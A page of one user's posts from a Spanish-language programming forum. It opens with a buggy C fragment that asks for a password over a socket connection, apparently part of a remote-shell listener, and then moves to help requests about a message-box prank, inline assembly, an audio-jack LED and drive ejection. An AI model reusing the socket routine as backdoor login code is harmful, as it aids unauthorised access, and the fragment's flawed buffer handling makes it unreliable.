    if(PASSWORD!=NULL)
    {
                     do
                     {
                         //limpiamos el buffer
                         memset(Buffer,0,sizeof(char*));
                         //pedimos la  contraseña
                         send(sock,"\n[#] Introduce la password: ",strlen("\n[#]Introduce la password: "),0);
                         //recibimos los datos
                         Recv=recv(sock,Buffer,1024,0);
                         //comprobamos si ha cerrado la conexion
                         if(Recv<=0)
                         
                                    return 0;
                                    Buffer[Recv-1]='\0';
                                    }
                                   
                                    while(strcmp(Buffer,PASSWORD)!=0);
                                    send(sock,"[#]Aceptada!\n\n",strlen("[#]Aceptada!\n\n)"),0);
                                    }
                                   
                                    return 1;
                                    }
#16
Programación C/C++ / dudita con cadena
10 Agosto 2011, 01:20 AM
buenas  primero el code
Código (cpp) [Seleccionar]

#include <windows.h>
#include <time.h>

int main()

{FreeConsole();

time_t t1;
time_t t2;

t1 = time(NULL);

int i=0;

while(i<=5)

{
   
MessageBox(NULL,TEXT("click aqui"),TEXT(""),MB_OK );
i++;
    }

    t2 = time(NULL);
   
char segundos[]=" segundos";

char cadena[15];
//de aqui en adelante tengo el rollo mi idea es tomar el resultado de difftime y
//guardarlo en una cadena para luego concatenarla con la cadena "segundos"
//y asi pasarla como parametro a el messagebox de mas adelante
cadena=(char)difftime(t2,t1);

strcpy(cadena, segundos);

MessageBox(NULL,cadena,TEXT("felicidades duraste"),MB_OK);
   
    return EXIT_SUCCESS;
}


luego de solucionar este problema de manejo de cadenas pienso colocarle el code para hacer q las ventanas de messagebox aparezcan en lugares aleatorios de la pantalla (eso ya lo se hacer)

NOTA: SOLUCIONENME ESE PROBLEMA DE LA CADENA Q ME CANSE DE DARLE COCO :)

GRACIAS
#17
Programación C/C++ / leer puntero en asm
11 Marzo 2011, 07:13 AM
Código (cpp) [Seleccionar]

char _a='f';
char *_buffer=&_a;
int main()
{
 
asm("movl $3,%eax");
asm("movl $0,%ebx ");
asm("mov _buffer,%ecx"); //asm("mov _a,%ecx ");    <---- esta linea
asm("mov $30,%edx");
asm("int $0x50");       

    system("PAUSE");
    return EXIT_SUCCESS;
}


me dice [Linker Error] undefined reference to `buffer'  e probado colocando la variable "a" directamente pero medice en mismo problema con dicha variable

como lo arreglo  :) si me aclaran la duda
#18
Electrónica / salida de audio
26 Enero 2011, 07:23 AM
hola me acaba de pasar una gran idea por la mente y aunque no se ni papa de electronica por lo menos e estado aprendiendo a lo endogeno ^^ mi pregunta es la siguiente y se q es factible no se xq pero creo q si... y es asi con un microfono se convierte la energia acustica en energia electrica... q factibilidad hay de q yo aproveche mi salida de audio del celular para encender un led????
#19
se q se puede comprobar que unidades estan conectadas y otras cosas pero tengo la inquietud si se puede expulsar mediante una api, q supongo q si xq eso es lo q hace cuando le doy en "expulsar" pero quisiera saber donde la consigo xq no encuentro nada en la red, y gracias por la ayuda :)

no toy seguro pero al decir "cerrar" es lo mismo q "expulsar"  ??

http://translate.googleusercontent.com/translate_c?hl=es&sl=en&u=http://msdn.microsoft.com/en-us/library/aa364433%28v%3DVS.85%29.aspx&prev=/search%3Fq%3DGetDriveType%28%29%26hl%3Des%26client%3Dfirefox-a%26hs%3DP6W%26rls%3Dorg.mozilla:es-ES:official%26prmd%3Divns&rurl=translate.google.com&usg=ALkJrhh7uImAlArfBUYnE2h9o_iS0zLXGQ